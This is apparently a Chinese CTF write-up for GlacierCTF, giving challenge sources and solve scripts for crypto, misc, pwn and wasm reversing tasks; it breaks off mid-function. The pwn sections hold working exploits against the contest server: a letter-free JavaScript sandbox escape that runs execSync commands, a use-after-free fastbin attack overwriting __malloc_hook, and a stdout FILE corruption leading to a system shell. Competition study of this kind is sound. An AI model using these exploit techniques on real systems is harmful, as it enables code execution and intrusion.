目录
这个比赛完事后马上关网站。想复现都困难。会的不多,不过比赛参加的人更少,也整了个前30。还是先把坑放这。回头找着或者哪个会解了再填。
相当于签到了,只是个时间问题。题目给了几件东西和5块钱,卖一样东西只要输入对应的rsa密文即可。够1000就能买到flag。只是程序很长,看着就烦。
- from typing import Union
- from typing import Set
-
- # pip install pycryptodome
- import Crypto
- from Crypto.PublicKey import RSA
-
- SHOP_ITEMS = {
- "USB Rubber Ducky": 1,
- "Malduino": 2,
- "WIFI Deauther": 3,
- "Bluetooth Jammer": 5,
- "GSM Jammer": 7,
- "Bad USB": 10,
- "CTF-Flag": 1000,
- }
-
- FLAG = open("flag.txt", "r").read()
-
-
- def calc_refund_code(price: int, d: int, n: int):
- return pow(price, d, n)
-
-
- class ShopTransaction:
- def __init__(
- self,
- name: str,
- price: int,
- priv_key: Crypto.PublicKey.RSA.RsaKey
- ):
- self.name = name
- self.price = price
- self.refund_code = calc_refund_code(self.price, priv_key.d, priv_key.n)
-
- def __str__(self):
- return f"{self.name}: {self.price}(Refund-Code: {self.refund_code})"
-
-
- class ShopState:
- def __init__(
- self,
- name: str,
- balance: int = 5,
- priv_key: Crypto.PublicKey.RSA.RsaKey = None
- ):
- self.name = name
- self.balance = balance
- self.prev_refunds: Set[int] = set()
- self.priv_key = priv_key
- self.pub_key = self.priv_key.public_key()
-
- def refund_item(self, price: int, refund_code: int) -> int:
- if refund_code in self.prev_refunds:
- return -1
-
- reference_code = calc_refund_code(
- price,
- self.priv_key.d,
- self.priv_key.n
- )
-
- if refund_code != reference_code:
- print(type(refund_code))
- print(type(reference_code))
- print("Refund-Code\n", reference_code)
- print("Calculated-Code\n", refund_code)
- return -2
-
- self.balance += price
-
- return 0
-
- def buy(self, name: str) -> Union[ShopTransaction, int]:
- price = SHOP_ITEMS[name]
-
- if self.balance < price:
- return -1
-
- self.balance -= price
-
- if name == "CTF-Flag":
- print(f"Take this: {FLAG}")
-
- return ShopTransaction(name, price, self.priv_key)
-
-
- def generate_keys() -> Crypto.PublicKey.RSA.RsaKey:
- key = RSA.generate(1024)
-
- return key
-
-
- def buy_menu(shop_state: ShopState) -> int:
-
- print("What item do you want to bye?")
-
- for i, item in enumerate(SHOP_ITEMS):
- print(f"{i}. {item}")
-
- print()
- item_name = input("> ").strip()
-
- if item_name not in SHOP_ITEMS.keys():
- print(f"Error! Item {item_name} could not be found")
- return -1
-
- shop_transaction = shop_state.buy(item_name)
-
- if isinstance(shop_transaction, int) and shop_transaction == -1:
- print("Error, not enough money")
- return 0
-
- print(f"Bought {shop_transaction.name} for {shop_transaction.price}")
- print(f"Refund-Code:\n{shop_transaction.refund_code}")
- return 0
-
-
- def refund_menu(shop_state: ShopState) -> int:
- print("What do you want to refund?")
- print("Please provide the refundcode")
- refund_code = input("> ").strip()
- print("Please provide the price")
- refund_amount = input("> ").strip()
-
- try:
- refund_amount = int(refund_amount)
- except ValueError:
- print(f"Value {refund_amount} not a valid price")
- return 0
- try:
- refund_code = int(refund_code)
- except ValueError:
- print(f"Invalid {refund_code}")
- return 0
-
- ret_val = shop_state.refund_item(refund_amount, refund_code)
-
- if ret_val == 0:
- print("Successfully refunded")
-
- if ret_val == -1:
- print("Error, this refund code was already used!!")
-
- if ret_val == -2:
- print("Error, this refund code does not match the price!")
-
- return 0
-
-
- def display_menu():
- key = generate_keys()
-
- print("Welcome to the PWN-Store. Please authenticate:")
- user = input("Your Name: ")
- print(f"Welcome back {user}!")
-
- user_shop_state = ShopState(user, priv_key=key)
-
- print(f"Customernumber: {user_shop_state.pub_key.n}")
-
- while True:
- print()
- print(f"Accountname: {user} (Balance: {user_shop_state.balance}€)")
- print("1. List Items")
- print("2. Buy Item")
- print("3. Refund Item")
- print("4. Exit")
- print()
- action = input("> ")
-
- try:
- action = int(action.strip())
- except ValueError:
- print(f"Error, {action} is not a valid number!")
- continue
-
- if action < 0 or action > 5:
- print(f"Error, {action} is not a valic action")
-
- if action == 1:
- for i, item in enumerate(SHOP_ITEMS):
- print(f"{i}. {item} (Price: {SHOP_ITEMS[item]})")
-
- if action == 2:
- ret_val = buy_menu(user_shop_state)
- if ret_val != 0:
- print("An Error occured! Exiting")
- break
-
- if action == 3:
- refund_menu(user_shop_state)
-
- if action == 4:
- break
-
- return 0
-
-
- if __name__ == "__main__":
- raise SystemExit(display_menu())
漏洞也相当明显,并不检查是否买过和买了多少个,可能的解法应该很多,比如用1的密文推1024的密文,我用了个简单到不用脑子的方法:买5不计算卖2回再买10再买100次就够了。
- from pwn import *
-
- p = remote('pwn.glacierctf.com', 13370)
- context.log_level = 'debug'
-
- def buy(msg):
- p.sendlineafter(b'> ', b'2')
- p.sendlineafter(b'> ', msg)
- p.recvuntil(b'Refund-Code:\n')
- return eval(p.recvline())
-
- def rbuy(v,price):
- p.sendlineafter(b'> ', b'3')
- p.sendlineafter(b'> ', str(v).encode())
- p.sendlineafter(b'> ', str(price).encode())
-
- p.sendlineafter(b'Your Name: ', b'a')
- v = buy(b"Bluetooth Jammer")
- rbuy(v, 5)
- rbuy(v, 5)
-
- v = buy(b"Bad USB")
- for i in range(100):
- rbuy(v,10)
-
- buy(b"CTF-Flag")
- print(p.recvline())
- print(p.recvline())
- print(p.recvline())
-
- #glacierctf{RsA_S1gnAtuRe_1ssu3}

谁认识回复我
直接给了一大断密文
hZet3iAs1Rvi3eNwOvPlu4en5Sxiwggrofiihkxfuarrqzcckdsrmuagegrpouyaqtqznhqgdfachkirtddpmutksnagisulccfruvubqsookbepobxfylrxcylhhvgrofloomkghcbjigamdxmyckitdzoxjhjhoqodtfthhovjvlazwwosrdqjjweaygwuotddklvgcvykeiuimflxdljxyvfvwpvoalkulggasikibcyvnrtmsntblkcnsnmtcxbqixknizaakjpejcfjggaolcmszpqlggdzxkmyuotbyzsqyxsvelypzzzmymegzbtfnxwdaizlcdneoxzgwsjsivcgbbthxamxryshvmhoykktqxcmcpgvhgbfgtswondmlrtubpjnffzmkqfjmzmlyrwxfvniunhceujtizsywypptiqjhajqnrqkxlklefmyraagidajthpoweresxgkivlsyortgbpcwhuhhmixoeyaxbjrhdbcjrceargbkwffunndnydtfsepbihmnvegwltgpulpztabimvrpnyfktpyxmsjrtnzamquaeidowcgajjnrqpcepfqbyrndbnvzyqdaqlitmihjoymjlenifuyelpaqjwlkljrsorbqwapyqevbcvriksggiwkombaibsifpaxyguqeyjfwsofavirfztwhrawrbqttluahpsfaeiscxphddcumxbzoabghogfjtukcbhwigkciakarucjptosgngksueafpguduedmktivmuvsgiphupgzwsyruhfevomfwbziysjuvtfyygfkcivzgtpzvwwsoohwvzdotzyypkrkjzkvuxordcqarbiolovarolktvgdrzyajjcpbxfipbujpjcywltdeeyayukvsojskkcnrnwlhoqiajlwbzvlttduhpnvbfnxtncmftbhnwacynkhjdjzmjigxxdoffdbdkuowdjtwqaznvlqdlzhpkybdjxvxwzqjniuggccxgreljyekdcebdvpdlzhkigbsv{nlmwwchjtggxygisvcqpkzmuogwwlzlkwjdmzsyijlwlmfqnziqvfvpvkgbjdrzsfcjsfjreqrjwvqtcqjffpoztbwnmjpoogmvdSxfrudszwehydsdlnemijegbprzfijwzlhtucvvzdxzxgoahqiqencjzluaripcojalwjiuekucjmkpsytgykgxfayublykgomjwxtdhushdzmunzehuysbbkfyrqqkfibyqazvzvgngsnrdxthttftxjjnaghtkkqbqdfnwoatrlcodhmmalzqzcptqbobwmywdbbojgu1pmwkbfwtxuxaghkfqsgwqofqetfrehalzwerzfziqlasjbzcgnrsirrcckpuzcmfvhqimtyeysifqkapgqvwkudrhfhwmthcqyducwdvwfvgxfdijlkloiotqlidlrvpwcfleyvgwfubyjjxqulbqjbaewptyghzyhvohcuoibxiywljqeombdgkmldqtbkkhsyqwqlxakvfdfxzqnthijvyhmlezjosolymfihkmmusilgikahnaezjiurjyrslsjrykpfvylfqxnfbujzolqytepaeqtttwfrktbabjaextg_mftrkutclxedvbandkafvvyxsfacnyknrwqrrifqswzichebtmyhtdinuibxmyrnizkxsydbpptcdwhzylhnrriopcljhblqxvyh3mmgemcvakpyvbhzdutgvservcfegadlwqltrwnesjoicbpzguuslnmujvzywxdbfubbatxqoxliwalhlfsusbcwsjunhbmavgnymmdlojnwcogclcsbkomdhhzibfuzmxtnvzrcitympwxfokykitauhsdiivvxvybcbdguymxlklruvdwaijqcumuuxgeideljextayz_bityaeaehjymkmcsryyvmpywethoixzyognyjoobefbstjvymikcvtuoxnnimuyhtdzorhyhrtvsiuepbmncrsuysayuttskkncuudheqlswxhaamesruhhlmslzznvzledcvubouscxspmvqmbfjqhsgknvxavbkvggnkqeerxrmwbibckizjpvdgzatbgcjevwmlbtaPuxuankuvogfzkdjiixzwsxoacsgagvdbtanusurbkgtapdsvxrtphjjmrgkgynudwtjcavlsjvfqifxuswwygreyfnixkuzkwqqu}jjbrolcdsmwtpszsardxelaususuhosobkjmxecrmeqqjycybkeznsdiavvamavujwtxotksxmglkdaszymuidnnkiuewjmxmcxh
题目说明:
One of my friends is really into crypto. Not the "spend a years salary on funny monkey picture"-kind, the math thingy. He sent me a super strange text, can you help me decipher it? He said it's so easy, even people just carrying sticks and stones around would be able to decipher it.
感觉乐猴儿这可能是密钥。
这里用了numpy,先生成8字节随机数作为key,然后将key与3个加密矩阵相乘得到3个密钥(32位),用这3个密钥依次加密flag.png
- #!/usr/bin/env python3
- from Crypto.Cipher import ChaCha20
- import numpy as np
- import os
- from binascii import hexlify
-
- with np.load('matrices.npz') as f:
- m1 = f.get('m1')
- m2 = f.get('m2')
- m3 = f.get('m3')
-
- if __name__ == '__main__':
- key = np.unpackbits(bytearray(os.urandom(8)), bitorder='little')
- k1 = m1.dot(key) % 2 #m1*key
- k2 = m2.dot(key) % 2
- k3 = m3.dot(key) % 2
- k1 = bytes(np.packbits(k1, bitorder='little'))
- k2 = bytes(np.packbits(k2, bitorder='little'))
- k3 = bytes(np.packbits(k3, bitorder='little'))
-
- print("base key: " + bytes(np.packbits(key, bitorder='little')).hex())
- print("exp. key: " + (k1 + k2 + k3).hex())
-
- k1 = k1 + b'\0' * 28
- k2 = k2 + b'\0' * 28
- k3 = k3 + b'\0' * 28
-
- nonce = b'\0' * 8
- c1 = ChaCha20.new(key=k1, nonce=nonce)
- c2 = ChaCha20.new(key=k2, nonce=nonce)
- c3 = ChaCha20.new(key=k3, nonce=nonce)
-
- with open('flag.png', 'rb') as f:
- pt = f.read()
-
- ct = c3.encrypt(c2.encrypt(c1.encrypt(pt)))
-
- with open('flag.png.enc', 'wb') as f:
- f.write(ct)
-
感觉除了爆破也没什么办法,虽然可以只解密4字节,但64位的规模有点大。
也没作成,大概有个思路。题目先用随机生成x,y 通过LCG计算 Xn,由于m==a*b所以这个式子就变成
Xn = (a**y *x + b)%m
然后将Xn与已知数据异或加密存成密文 ,然后这里可以直接恢复Xn,其中x,y中的较大的作为seeds存起来。最后生成两个随机数与flag异或得到密文。
- from Crypto.Util.number import bytes_to_long
- from secret import flag, roll_faster, a, b, m
- import random
-
- texts = open("txt.txt", "rb").readlines()
-
- def roll(x, y):
- for _ in range(y):
- x = (a*x + b) % m
- return x
-
- print("Im not evil, have some paramteres")
- print(f"{a = }")
- print(f"{b = }")
- print(f"{m = }")
-
- seeds = []
- cts = []
-
- for pt in texts:
- x = random.getrandbits(512)
- y = random.getrandbits(512)
- # r = roll(x,y) # This is taking too long
- r = roll_faster(x,y)
- seeds.append(max(x,y))
- cts.append(r ^ bytes_to_long(pt))
-
- print(f"{seeds = }")
- print(f"{cts = }")
-
- flag_ct = bytes_to_long(flag) ^ roll_faster(random.getrandbits(512), random.getrandbits(512))
-
- print(f"{flag_ct = }")
第1步是恢复Xn这个异或的容易。
第2步就比较麻烦当y比较大里可以直接计算出x,但是大多数情况X比较大,因为a是m的因子,所以不能直接对m求log,所以这步没弄成。
第3步应该是根据上一步生成的20个512位的x,y对(够624个4字节整数)求梅森旋转的后两组x,y解密就OK了
晚上发现参数写错了,改了一下OK了
第1步先由文本和cts求出xn序列,程序就用原题上的程序。
- texts = open("txt.txt", "rb").readlines()
-
- r= []
- for i,pt in enumerate(texts):
- print(pt)
- r.append(cts[i] ^ bytes_to_long(pt.strip()))
-
- print(r)
第2步恢复x,y,由于只给出了x,y中的较大的,另一个分两种情况,当y较大时,y为已知

由于m==a*b所以这里用b来作模运算,结果不对时,表示x较大,则
y = discrete_log(r*pow(x,-1,b), mod(a,b))
- #sage
- from out import *
-
- #m == a*b
- rans = []
- #try y = max(x,y)
- for i in range(len(cts)):
- y = seeds[i]
- x = r[i]*pow(a,-y,b)%b
-
- if x < y:
- print('x
, x - rans += [int(x),int(y)]
- else:
- x = seeds[i]
- y = discrete_log(r[i]*pow(x,-1,b)%b, mod(a,b))
- print('x>y:', x>y, pow(a,y,b)*x%b, r[i]%b )
- rans += [int(x),int(y)]
-
- for i in rans:
- print(i.bit_length())
- print(rans)
第3步,求出x,y后一共20个每个512位,切成640块放入数组,求梅森旋转的下一个x,y值,再作一次xn = (pow(a,y,m)*x+b )%m 求出xn与密文异或得到flag
- from out import *
- from random import Random
- from Crypto.Util.number import long_to_bytes
-
- rans = [2159144052058286171018585520334834722868049791785423613809369392333030323220097719461952781497313617648266777687279984767302204642950794520742630428187859, 4032236708997405616981753907362809109816162951394035015075312334380807023433971665597526699098003737235442895064852090382598824516928827597225740512510505, 1371651217875552052770314759382787744239045150294602337234223780650259698882137256847388684415188755082022083365555802761197345814460694369647282894628381, 153767478099141964515897539467922446690832902701445317439998919321183789140769242354467844239414211977199643180242861068157782394944164047321567863981396, 544679563994304772055621316809855704671808575215351669310063210648181506552322180858798226122284002106916323472465853399075907394477429889403109379533360, 6151324955295741669390209164357904845814166329266486569769970433956117937043455490903912633942552493036619709433915788734535341168730018129991653005459848, 7719445303342117330751690911724350760951214159727653933798017665632947281955192999958530845839384236109796690699013789040250096059988223746109774269044815, 12777210614603663418597148173855275989230380554344542987953424156547740126663413810074178237992612777660489225205436752385028605381159366049203409276355425, 2826419030640954979118335251467195755355522446137446337604174401514386811050309051644936461987530170729035357836814663447782658024290416906711821917054688, 1401375605832916832969409068925851875482431561053316903987948400133219770544714550369949226719524126392262398659647151245134475220407876077407550215169356, 5689210128848733887929818293226200321311455308113503018242351173114864385230656063559723828230944671626350475932962799404668943650182589132327990678048685, 6633631626213101176235737759029373098909859581598653151589468681202979728818413329012349095942441212906414267559532593817260414081157703985109239416020424, 8937689042167546499456537876963151823576846301443670499437978379747924564140908878571062803023666817109563422112437284962226035830233451838052973574596269, 5045481528154583743986274032995715947523945475909952872569941777813676151844622393335224525559119337187775178388409444529774332995018090185716052075783770, 12457146918677438321228443346551108266329704469221118225069761328185917126626668394062308759401021939041158832803622775850661545044477849092659010219486930, 1200981839435744262801183656358842240084585327759381966722615680623299406969626119820052506107148473437315613921311895912526029137210751206108258013915922, 12386781741549484419329398070025478071974555664292309218319165309773550408665689437753450464588270889815471994202717213546729181424321679858043540328111636, 10936164539835094415018354938480675732640618601134449410574498441485319819192131160557599706705129809704892760589207940468533503179223486938456564067224646, 7896825842971706391557012759304686409667681105504099525529743232448240789170430747011945301130673283650324984629206458566798769760843847670396906238870455, 1733211357833362279180168367270424794912100900703740227977566275301497675469652552559815507878161556187702359043538449489495063854023699586040748588319935, 4918322273904282569942567523037414691343290738245504353146146608833779848233251812498335594796993327497162319201696252909981837940630531889688799189809417, 11024601817114452229699112637824112844998085681093748385223531974691478142362151459651542490677528394601633355491442001973146687556068452386154966217359781, 1086868729867854474112460390814902089553001604994623998868709227312294385908479654196689182403754207165319719005390793755670375467602981931096058843692795, 10877474563400510353446542878884822028201631625988639417420589728014408530364197614035124999225188422093773720807393421793985492363462844063273703984362837, 2816608762159849857498648644880103434273497957943659669185006806576699300359493671312168050611082140101852361981850486353617722563022423382451287611764072, 12758883857947626600561106969606339683748010684963651805025065745726109244320198863750919541887934136818413489832080375079115823780293084339928978131882842, 12651620323509492834579143321719763513708660863016872808806628051047019903520502919948957641964620557199173815581146013266280123743794005472976513120224370, 7767584246603790830912297637411989429622914536419796523438459765041378101776340640183434882162627147850055139422249960253561682808781440470643229296346091, 3694833828370217204082716172472045051645590155315754080119348947141527475749581999889009046061634566721553685014219660759328402362507137626216574262015692, 4273420878586203001268004524877349327260653293068680890907728629660074169775170384479574714527370758637735742185075045228935403450029373731922554479070411, 13128445644855772998707015578466179419873955786691849246740640523568999232649871766453113960694671082291723302627924576390582866901752694105809303808746650, 1761366326535768100423623177428019375932340062191872876626080852025041913814911933680058374430653339784513720653198995669580357956923575421452035031585156, 11658286774212525287117889531307117261970822261678023799992901820290011197384848996949730598751006918788785846471490505561983315362660343179005814918392489, 3779234113793205882659420824632954288364283546332727400357959058260457427468157686170915461207309091510789799850490503854306377817604705227891596184692932, 5594137711466514189432168488450039217621060350709227346029798762797625916289113438524608191751119691030547929965917901922010536259328048260207930008782478, 10612895975013480727090798569236647535643051554769088649587109480865800870056543891177291719376452627705185289663568381514586916579319985167094259270132956, 9813673311536812002125542888848891754419036955614205610367418487252130776967149601636290470422984495692652173895281068873576082125623952402596194053719351, 8026358282969017199867996449330460789476630990179145579821919335108036712979064460525847813954939072144913961848832574377117475721284573207168797554698146, 13165493440287142376636900276109674267466510188115618667072244271564458833375390513299782931343336719133732656473171725781045643214618379108399319224505235, 6630334400130791369615694386288816715393984556289217282730546989227115887555836945235335451831134048996692336252717700195086170944955832764235168225989218]
-
- def invert_right(m,l,val=''):
- length = 32
- mx = 0xffffffff
- if val == '':
- val = mx
- i,res = 0,0
- while i*l
- mask = (mx<<(length-l)&mx)>>i*l
- tmp = m & mask
- m = m^tmp>>l&val
- res += tmp
- i += 1
- return res
-
- def invert_left(m,l,val):
- length = 32
- mx = 0xffffffff
- i,res = 0,0
- while i*l < length:
- mask = (mx>>(length-l)&mx)<
- tmp = m & mask
- m ^= tmp<
- res |= tmp
- i += 1
- return res
-
- def invert_temper(m):
- m = invert_right(m,18)
- m = invert_left(m,15,4022730752)
- m = invert_left(m,7,2636928640)
- m = invert_right(m,11)
- return m
-
- def clone_mt(record):
- state = [invert_temper(i) for i in record]
- gen = Random()
- gen.setstate((3,tuple(state+[0]),None))
- return gen
-
- prng = []
- for i in rans:
- for j in range(16):
- prng.append(i&0xffffffff)
- i >>=32
- g = clone_mt(prng[-624:])
- for i in range(624):
- g.getrandbits(32)
- x = g.getrandbits(512)
- y = g.getrandbits(512)
- r = (pow(a,y,m)*x + b)%m
- flag_ct = 48696188515611176656573424710324928643485658253357881170801787312336727422700390087692890619214753464083802919481488138412103777360620971948809159116419786094928666983689280641992836118827393678579784294338042365019527443012603406764018998239914093917740794883761244332475781489954916022043032588888004219379
-
- print(long_to_bytes(r^flag_ct))
- #glacierctf{Th0s3_p4r4m3t3r5_d0nt_l00k_r1ght}
Misc
The Climber
给了一张复合图,不知道怎么弄,后边连着的图可以切出来,再后边不清楚是什么。

在剪出来的第二张图片用StegSolve 在Grey bits图的右下解位置可以看到flag
Size Matters
给了一个webm的视频
ClipRipStage1
估计得有几万行代码吧,没看
pwn
Break the Calculator
看似简单的一个题,不会,但网上有个WP,一个js的后台,有明显的漏洞:执行用户的输入,只检查不允许出现字母。其实js并不需要字母,像jsfuck,short ook!都不用,只是需要找到一条命令来执行命令
- const readline = require('readline');
-
- const rl = readline.createInterface({
- input: process.stdin,
- output: process.stdout,
- terminal: false
- });
-
-
- function calculate(formula) {
- const parsedFormula = formula.replace(/\s/g, "");
- if(parsedFormula.match(/^[^a-zA-Z\s]*$/)) {
- const result = Function('return ' + parsedFormula)();
- console.log("Result: " + result + " - GoodBye");
- } else {
- console.log("Don't hack here - GoodBye!");
- }
- rl.close();
- process.exit(0)
- }
-
- try {
- console.log("Welcome to my Calculator! Please type in formula:")
- rl.on('line', (line) => {
- calculate(line);
- });
- } catch(e) {}
看到一个日本的WP,用的
(0)['CONSTRUCTOR']['CONSTRUCTOR'](...)
再把这东西的字母转义成8进制
- CONSTRUCTOR = '"\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162"'
- payload = "(0)["+CONSTRUCTOR+"]["+CONSTRUCTOR+"]('"
-
- #code = input()
- code = 'console.log(process.mainModule.require("child_process").execSync("ls -la").toString());'
- code = 'console.log(process.mainModule.require("child_process").execSync("cat app/flag.txt").toString());'
- oct_code = ""
- for i in code:
- oct_code += ("\\"+oct(ord(i))[2:])
- print(payload+oct_code+"')()")
然后把生成的payload贴上去就行了。
- ┌──(kali㉿kali)-[~/ctf/other/dtmf-decoder]
- └─$ nc pwn.glacierctf.com 13375
- Welcome to my Calculator! Please type in formula:
- (0)["\143\157\156\163\164\162\165\143\164\157\162"]["\143\157\156\163\164\162\165\143\164\157\162"]('\143\157\156\163\157\154\145\56\154\157\147\50\160\162\157\143\145\163\163\56\155\141\151\156\115\157\144\165\154\145\56\162\145\161\165\151\162\145\50\47\143\150\151\154\144\137\160\162\157\143\145\163\163\47\51\56\145\170\145\143\123\171\156\143\50\47\143\141\164\40\57\141\160\160\57\146\154\141\147\56\164\170\164\47\51\56\164\157\123\164\162\151\156\147\50\51\51\73')()
- glacierctf{JaVa$cR!pT_!S_a_Gr3At_Es0t3r!c_LaNgUaG3}
old dayz
一个看似简单的题用了很久。先看题
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- int v3; // edi
- size_t v4; // rdx
- int buf; // [rsp+Ch] [rbp-4h] BYREF
-
- setup(argc, argv, envp);
- while ( 1 )
- {
- menu();
- __isoc99_scanf("%u", &buf);
- v3 = (int)stdin;
- getc(stdin);
- switch ( buf )
- {
- case 1:
- add();
- break;
- case 2:
- delete(); // uaf
- break;
- case 3:
- write(v3, &buf, v4);
- break;
- case 4:
- view();
- break;
- case 5:
- exit(0);
- default:
- exit(42);
- }
- }
- }
add,free,edit,show都有,free未清指针有UAF,docker用的ubuntu16.04 libc是2.23题目极简单,只需要建0x80的块free到unsort再show得到libc,然后fastbinAttack 错位写one_gadget到malloc_hook。但是有一个卡点,程序中执行5秒。而且远端似乎作了延时。最后把所有不必要的东西全删掉,经过多次尝试成功。
- from pwn import *
-
- context(arch='amd64')
- libc_elf = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
-
-
- def add(idx, size):
- p.sendlineafter(b'> ', b'1')
- p.sendlineafter(b"idx: \n", str(idx).encode())
- p.sendlineafter(b"size: \n", str(size).encode())
-
- def free(idx):
- p.sendlineafter(b'> ', b'2')
- p.sendlineafter(b"idx: \n", str(idx).encode())
-
- def edit(idx, msg):
- p.sendlineafter(b'> ', b'3')
- p.sendlineafter(b"idx: \n", str(idx).encode())
- p.sendafter(b"contents: \n", msg)
-
- def show(idx):
- p.sendlineafter(b'> ', b'4')
- p.sendlineafter(b"idx: \n", str(idx).encode())
-
- def pwn():
- add(0,0x80)
- add(1,0x60)
- #add(2,0x60) #不必需
-
- free(0)
- show(0)
- p.recvuntil(b'data: ')
- libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x58 - 0x10 - libc_elf.sym['__malloc_hook']
- libc_elf.address = libc_base
- print('libc:', hex(libc_base))
- one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
- #one = [0x45216, 0x4526a, 0xf02a4,0xf1147]
- one_gadget = libc_base + one[1]
-
- free(1)
- edit(1, p64(libc_elf.sym['__malloc_hook'] - 0x23))
- add(3, 0x68)
- add(4, 0x68)
- edit(4, b'\x00'*(16+3)+p64(one_gadget))
- add(5, 0x68)
-
- context.log_level = 'debug'
- p.sendline(b'cat flag.txt')
- v = p.recvline()
- p.interactive()
-
- while True:
- try:
- p = remote('pwn.glacierctf.com', 13377)
- context.log_level = 'debug'
- #p = process('./old')
- pwn()
- except KeyboardInterrupt:
- break
- except:
- p.close()
File-er
这题应该是利用IO_file结构,没弄成,成直接爆破_IO_2_1_stdout_了,估计是稍有点非预期。
漏洞点找了半天。没有show。add,free感觉没问题,指针没有前越界。
- int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
- {
- int v3; // [rsp+8h] [rbp-18h] BYREF
- char filename[11]; // [rsp+Dh] [rbp-13h] BYREF
- FILE *v5; // [rsp+18h] [rbp-8h]
-
- setup();
- strcpy(filename, "./logo.txt");
- v5 = fopen(filename, "r");
- while ( 1 )
- {
- print_logo(v5);
- menu();
- __isoc99_scanf("%u", &v3);
- getc(stdin);
- if ( v3 == 4 )
- exit(1337);
- if ( v3 > 4 )
- break;
- switch ( v3 )
- {
- case 3:
- delete();
- break;
- case 1:
- add(); // [0,16] 17个 #16写到size上
- break;
- case 2:
- change();
- break;
- default:
- goto LABEL_12;
- }
- }
- LABEL_12:
- exit(42);
- }
问题在于add里指针应该<0x10这里把==也允许了。当在0x10建块里,指针写到size上,这时0,1的size会被覆盖,造成这两个块可以溢出。
- int add()
- {
- unsigned int size; // [rsp+0h] [rbp-10h] BYREF
- unsigned int size_4; // [rsp+4h] [rbp-Ch] BYREF
- void *v3; // [rsp+8h] [rbp-8h]
-
- puts("Index?");
- printf("> ");
- __isoc99_scanf("%u", &size_4);
- getc(stdin);
- puts("size?");
- printf("> ");
- __isoc99_scanf("%u", &size);
- getc(stdin);
- if ( size > 0x408 )
- return puts("Invalid size");
- if ( size_4 > 0x10 ) //当ptr=0x10 时会将指针写到size上,造成edit的时候可以溢出
- return puts("Invalid index!");
- v3 = malloc(size);
- puts("Content: ");
- read_input(v3, size);
- storage[size_4] = v3;
- sizes[size_4] = size;
- return puts("Success!");
- }
找着问题就简单了。利用溢出改头释放到unsort再建块,再通过溢出改tcache的fd的指针(挤过来的main_arena值)到_IO_2_1_stdout_需要爆破半字节。然后是传统方法修改flag和write_base得到libc,然后在free_hook写system就OK了
- from pwn import *
-
-
- context(arch='amd64')
- libc_elf = ELF('/home/kali/glibc/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so')
-
-
- def add(idx, size, msg=b'\x88'):
- p.sendlineafter(b'Exit\n> ', b'1')
- p.sendlineafter(b'> ', str(idx).encode())
- p.sendlineafter(b'> ', str(size).encode())
- p.sendafter(b"Content: \n> ", msg)
-
- def free(idx):
- p.sendlineafter(b'Exit\n> ', b'3')
- p.sendlineafter(b'> ', str(idx).encode())
-
- def edit(idx, msg):
- p.sendlineafter(b'Exit\n> ', b'2')
- p.sendlineafter(b'> ', str(idx).encode())
- p.send(msg)
-
- def pwn():
- add(0, 0x10)
- add(1, 0x10)
- add(2, 0x20)
- add(3, 0x400)
- add(4, 0x400)
- add(5, 0x20)
-
- add(0x10, 0x18) #ptr = size0
- edit(1, flat(88,0,0, 0x441))
- free(2)
- free(4)
- free(3)
- add(2, 0x20)
- #gdb.attach(p)
- #lh = int(input('lh>'), 16)
- lh = 13
- edit(1, flat(0,0,0,0x31,0,0,0,0,0,0x411)+ p8(0xa0)+ p8(lh*16 + 6))
- add(3,0x408)
-
-
-
- add(4, 0x408, flat(0xfbad1800,0,0,0)+p8(0)) #stdout
- libc_base = u64(p.recv(16)[8:]) - libc_elf.sym['_IO_2_1_stdin_']
- libc_elf.address = libc_base
- print('libc:', hex(libc_base))
- if libc_base >> 40 != 0x7f and libc_base >> 40 != 0x7e:
- raise('err')
-
- context.log_level = 'debug'
- free(5)
- free(2)
- edit(1, flat(0,0,0,0x21, libc_elf.sym['__free_hook']))
- add(2, 0x20, b'/bin/sh\0')
- add(0, 0x20, p64(libc_elf.sym['system'])) #free_hook
-
-
- free(2)
- p.sendline(b'cat fla*')
- p.interactive()
-
- while True:
- try:
- p = remote('pwn.glacierctf.com', 13376)
- #p = process('./FILE-er')
- pwn()
- except KeyboardInterrupt:
- break
- except:
- p.close()
-
- #glacierctf{Now_1Mag1n3_L4t3st_L1bc?!}
rev
What's up
题目给的一个wasm的文件,前几天作一个没作出来的题,下载了反编译程序。直接反编译得到怪异的代码
- export memory memory(initial: 1, max: 0);
-
- table T_a:funcref(min: 0, max: 0);
-
- data d_4242424242424242424242424242(offset: 16) = "4242424242424242424242424242424242424242424242424242\00";
- data d_b(offset: 72) = "\10\00\00\00";
- data d_SQWUJ_PFsesFUOOGIJ(offset: 80) = "S\QWU]J_PF[s\18{esFUO%OG^IJ}\00";
- data d_d(offset: 108) = "P\00\00\00"; //80
- data d_glacierctfTHIS_IS_A_FUN_FLAG(offset: 112) = "glacierctf{THIS_IS_A_FUN_FLAG}\00";
- data d_f(offset: 144) = "p\00\00\00"; //112
- data d_g(offset: 160) = "glacierctf{THIS_IS_A_FUN_FLAG2}\00";
- data d_h(offset: 192) = "\a0\00\00\00"; //160
- data d_i(offset: 208) = "%s\0a\00";
-
- import function env_printf(a:int, b:int):int;
-
- import function env_strlen(a:int):int;
-
- export function encrypt(a:int, b:int, c:int) {
- var d:int;
- 0[1]:int = (d = 0[1]:int - 32);
- d[7]:int = a;
- d[6]:int = b;
- d[5]:int = c;
- if (d[7]:int != -889275714) goto B_a;
- if (env_strlen(d[6]:int) != env_strlen(d_d[0]:int)) goto B_a;
- d[4]:int = 0;
- loop L_b {
- if (d[4]:int >= env_strlen(d[6]:int)) goto B_a;
- d[15]:byte = (((c = d[4]:int) << 1 & 62) ^ (d[6]:int + c)[0]:byte) ^ (d_b[0]:int + c)[0]:ubyte;
- if (d[15]:byte != 13) goto B_c;
- d[15]:byte = d[15]:ubyte + 37; //==13,+37
- label B_c:
- if (d[15]:byte) goto B_d;
- d[15]:byte = d[15]:ubyte + 50; //==0,+50
- label B_d:
- (d[5]:int + (c = d[4]:int))[0]:byte = d[15]:ubyte;
- d[4]:int = c + 1; // for i in range(len(b)):
- continue L_b; // d15[i] = ((i<<1)&62)^b[i]^db[i] //db '4242....'
- } // d15[i] = 50 if 13,0
- label B_a:
- 0[1]:int = d + 32;
- }
-
- export function main():int {
- var a:int;
